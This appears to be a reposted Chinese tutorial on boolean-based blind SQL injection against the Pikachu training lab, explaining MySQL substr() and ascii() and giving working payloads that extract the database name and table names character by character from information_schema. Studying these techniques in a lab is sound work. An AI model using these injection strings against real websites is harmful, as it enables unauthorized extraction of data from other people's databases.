11.SQL注入-盲注基于(base on boolian)

SQL注入-盲注基于boolian案例利用

首先总结一下sql语句中的函数意思

#查看当前所在的数据库
mysql> select database();
+------------+
| database() |
+------------+
| pikachu    |
+------------+
1 row in set (0.00 sec)#函数substr里1是从第几位开始取字符,2是取多少个字符
mysql> select substr(database(),1,2);
+------------------------+
| substr(database(),1,2) |
+------------------------+
| pi                     |
+------------------------+
1 row in set (0.00 sec)#函数ascii是将字符转换为数字,注释:p转换数字是112
mysql> select ascii(substr(database(),1,1));
+-------------------------------+
| ascii(substr(database(),1,1)) |
+-------------------------------+
|                           112 |
+-------------------------------+
1 row in set (0.00 sec)#做比较,显然112>113不成立,则为假,即:0
mysql> select ascii(substr(database(),1,1))>113;
+-----------------------------------+
| ascii(substr(database(),1,1))>113 |
+-----------------------------------+
|                                 0 |
+-----------------------------------+
1 row in set (0.00 sec)#做比较,显然112>111成立,则为真,即:1
mysql> select ascii(substr(database(),1,1))>111;
+-----------------------------------+
| ascii(substr(database(),1,1))>111 |
+-----------------------------------+
|                                 1 |
+-----------------------------------+
1 row in set (0.00 sec)mysql>

盲注boolian类型
输入的内容是否正确,返回的信息比较少,只有两种返回结果:正确或者是用户名不存在
输入kobe直接返回正确的信息,输入kobe’ and 1=1#也返回了正确的信息,证明and被后台执行了
注释:and符号表示:前后都为真则输出正确的信息
在这里插入图片描述

输入kobe’ and 1=2#,则显示用户不存在,意思就是前面为真,后面为假,则结果为假,如图所示:
在这里插入图片描述

通过上面的图例子,我们可以利用左右都为真,则判断数据库名称的字符,多次进行测试

kobe' and ascii(substr(database(),1,1))=112#

根据payload语句执行成功,则可以判断出数据库第一个字符ascii=112,转换成字符为p
注释:这个方法虽然满了一点,但是一点一点测试会把数据库信息都爆出来的
在这里插入图片描述

现在则继续测试第二个字符,我这里是多次测试得出来得结果105转换字符为:i

kobe' and ascii(substr(database(),2,1))=105#

如图所示:结果为真
在这里插入图片描述

table_name=database()等于table_name=‘pikachu’
同样也可以进行爆出该数据库下的表名的字符,数字为104转成字符为h

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104#

如图所示,执行成功
在这里插入图片描述

我这里就不依次进行测试了,查到的第一个字符为h
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/866406.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

油猴Safari浏览器插件:Tampermonkey for Mac 下载

Tampermonkey 是一个强大的浏览器扩展,用于运行用户脚本,这些脚本可以自定义和增强网页的功能。它允许用户在网页上执行各种自动化任务,比如自动填写表单、移除广告、改变页面布局等。适用浏览器: Tampermonkey 适用于多数主流浏览…

Java的进程和线程

一Java的进程 二Java的线程 多线程 ◆如果在一个进程中同时运行了多个线程,用来完成不同的工作,则称之为“多线程”。 ◆多个线程交替占用CPU资源,而非真正的并行执行。 ◆多线程好处。 ◆充分利用CPU的资源。 ◆简化编程模型。 ◆良好的用…

鸿蒙arkts学习

1.变量 let title:stringtest111 let age:number12 let isLogin:booleantrue2.常量 const hw:stringhuawei3.数组 let names:string[] [a,b,c,d]4.函数 function test(name:string,age:number){console.log(name,age) } let a(aa:string)>{console.log(aa)}5.接口 int…

【Linux】【部署】主机初始化

初始化服务器 #python3 init_host.py init 【主机名】 【主机ip】 python3 init_host.py init NODE01 192.168.199.10init_host.py 文件内容 #!/usr/bin/env python # -*- coding: utf-8 -*- import json import os import sys import logging import time import logging.co…

「树莓派入门」树莓派进阶03-RGB彩灯控制与应用

RGB彩灯为创意项目提供了丰富的视觉元素。通过控制RGB LED,你可以实现各种颜色效果,增加项目的吸引力。在连接和控制RGB LED时,请注意信号引脚的正确连接,避免损坏设备。 一、实验室搭建与传感器作用 实验室的搭建是创新和学习硬件项目的基础。传感器在其中扮演着数据采集…

3-1 激活函数和神经网络思想

3-1 激活函数和神经网络思想 主目录点这里

mysql二进制安装步骤

##上传二进制包到服务器 mysql-5.7.33-el7-x86_64.tar.gz 或者从下列地址下载需要的版本 https://downloads.mysql.com/archives/community/ ##创建相关目录 mkdir /data/mysql_5_7_33/data mkdir /data/mysql_5_7_33/binlogdata chown mysql:mysql /data/mysql_5_7_33/data…

二维舵机颜色追踪,使用树莓派+opencv+usb摄像头+两个舵机实现颜色追踪,采用pid调控

效果演示 二维云台颜色追踪 使用树莓派opencvusb摄像头两个舵机实现颜色追踪,采用pid调控 import cv2 import time import numpy as np from threading import Thread from servo import Servo from pid import PID# 初始化伺服电机 pan Servo(pin19) tilt Serv…

【抽代复习笔记】26-群(二十):子群的定义以及第一、第二判定定理

子群 定义1:(G,o)是一个群,H是G的非空子集,若H关于G的乘法o也能作成群(满足群的判定定理:封闭性、结合律、单位元、逆元),则称H为G的子群,记作H ≤ G;若H是G的真子集&am…

【启明智显分享】手持遥控器HMI解决方案:2.8寸触摸串口屏助力实现智能化

现代生活不少家居不断智能化,但是遥控器却并没有随之升级。在遥控交互上,传统遥控器明显功能不足:特别是大屏智能电视,其功能主要由各种APP程序实现。在电脑上鼠标轻轻点击、在手机上触摸屏丝滑滑动,但是在电视上这些A…

SpringBoot 启动流程二

SpringBoot启动流程二 我们首先查看构造方法 SpringApplication 我们发现这个构造方法还是在SpringApplication类里面 这个构造方法还是调用了自身的构造方法 传入了两个参数 第一个参数叫resourceLoader 传入的是一个资源加载器 要从外部读入东西 这个方法通过this关键字…

c++纵横字谜

1.实现一个纵横字谜 2.支持14x14的网格 3.可以查看答案 4.猜测错误会提示答案信息 5.从txt读取词汇 6.每次游戏开始 随机生成纵横字谜 n’h

leetcode216.组合总和III、40.组合总和II、39.组合总和

216.组合总和III 找出所有相加之和为 n 的 k 个数的组合,且满足下列条件: 只使用数字1到9 每个数字 最多使用一次 返回 所有可能的有效组合的列表 。该列表不能包含相同的组合两次,组合可以以任何顺序返回。 示例 1: 输入: k 3, n 7 输出…

deepin UOS AI 如何配置自定义模型

科技飞速发展的今天,操作系统作为计算机系统的灵魂,其每一次的更新与变革都牵动着无数用户的心弦。近日,开源操作系统 deepin 迎来了一次重大更新,这次更新不仅在性能上进行了全面优化,更在 AI 智能化方面迈出了划时代…

git 常用语句

git 常用语句 git init #使用当前目录初始化为git仓库 git init #使用指定目录作为git仓库 git init newrepogit clone #从远程仓库将仓库拷贝到当前目录 #格式 git clone <repo> #示例 git clone git://github.com/schacon/grit.git#从远程仓库拷贝项目到指定目录 #格…

人工智能标准化与AI科技快速进步的矛盾

人工智能标准化与技术快速进步之间确实存在一定的矛盾&#xff0c;这主要体现在以下几个方面&#xff1a; 快速发展的技术与标准化的稳定性。人工智能技术以其快速的创新和进步而闻名。新的算法、模型和应用不断涌现&#xff0c;但标准化过程需要时间和广泛的共识&#xff0c;这…

【解决方案】笔记本电脑屏幕亮度调节失效(Dell G15 5510 使用Fn调节)

目前解决方案&#xff1a;使用驱动总裁&#xff08;其他的驱动安装软件应该也可以&#xff0c;个人觉得这个好用&#xff09;&#xff0c;更新显卡驱动即可。如图所示本人更新了Intel UHD Graphics核显驱动&#xff0c;功能回复正常。 使用Fn快捷键调节亮度如图所示&#xff0…

项目页面优化,我们该怎么做呢?

避免页面卡顿 怎么衡量页面卡顿的情况呢&#xff1f; 失帧和帧率FPS 60Hz就是帧率fps&#xff0c;即一秒钟60帧&#xff0c;换句话说&#xff0c;一秒钟的动画是由60幅静态图片连在一起形成的。 卡了&#xff0c;失帧了&#xff0c;或者掉帧了&#xff0c;一秒钟没有60个画面&…

Java中的软件架构重构与升级策略

Java中的软件架构重构与升级策略 大家好&#xff0c;我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编&#xff0c;也是冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01; 重构与升级的背景和意义 软件架构在应用开发中起着至关重要的作用。随着技术…

ARIES,数据恢复算法,万变不离其宗...

今天来聊两个问题&#xff1a; 1. 如果缓冲池&#xff08;buffer pool&#xff09;满了&#xff0c;哪些数据页&#xff08;page&#xff09;要刷盘&#xff0c;哪些数据页不刷盘&#xff1f; 2. 数据库崩了&#xff0c;怎么利用检查点&#xff08;checkpoint&#xff09;与预写…